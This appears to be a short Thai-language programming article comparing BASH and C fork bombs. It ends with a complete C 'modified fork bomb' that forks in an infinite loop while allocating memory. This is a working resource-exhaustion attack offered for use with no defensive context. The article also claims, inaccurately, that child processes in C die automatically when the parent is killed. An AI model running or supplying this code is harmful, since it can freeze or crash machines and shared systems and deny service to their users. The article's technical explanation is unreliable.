Computer >> คอมพิวเตอร์ >  >> การเขียนโปรแกรม >> การเขียนโปรแกรม C

C กับ BASH Fork Bomb ใน C / C ++?


เป็นที่แน่ชัดแล้วว่า BASH fork bomb มีประสิทธิภาพมากกว่าเวอร์ชันของโปรแกรม C มาก สาเหตุหลักคือใน BASH กระบวนการที่สร้างขึ้นนั้นแยกออกจากพาเรนต์ หากกระบวนการหลัก (ที่เราเริ่มต้นในตอนแรก) ถูกทำลายหรือถูกฆ่า กระบวนการที่เหลือหรือส่วนที่เหลือจะยังคงอยู่ แต่ในกรณีของการนำ C ไปใช้ โปรเซสย่อยที่อยู่ในรายการจะตายโดยอัตโนมัติหากพาเรนต์ถูกทำลายหรือถูกฆ่า สคริปต์มีหน้าที่สื่อสารกับระบบโดยตรง

โปรแกรม fork bomb ใน C สามารถอัปเดตหรือแก้ไขได้ เราสามารถจัดสรรหน่วยความจำในโปรแกรมได้ในขณะที่สร้างกระบวนการทางแยก

โปรแกรมต่อไปนี้ถือเป็นการนำระเบิด C fork Bomb ไปใช้งานจริง -

// Modified fork bomb
#include <unistd.h>
#include <malloc.h>
int main(){
   // Infinite loop
   while (1){
      // Generating child fork processes
      fork();
      // Allocating memory in RAM
      int *p1 = (int *) malloc (sizeof (int) * 100000);
   }
}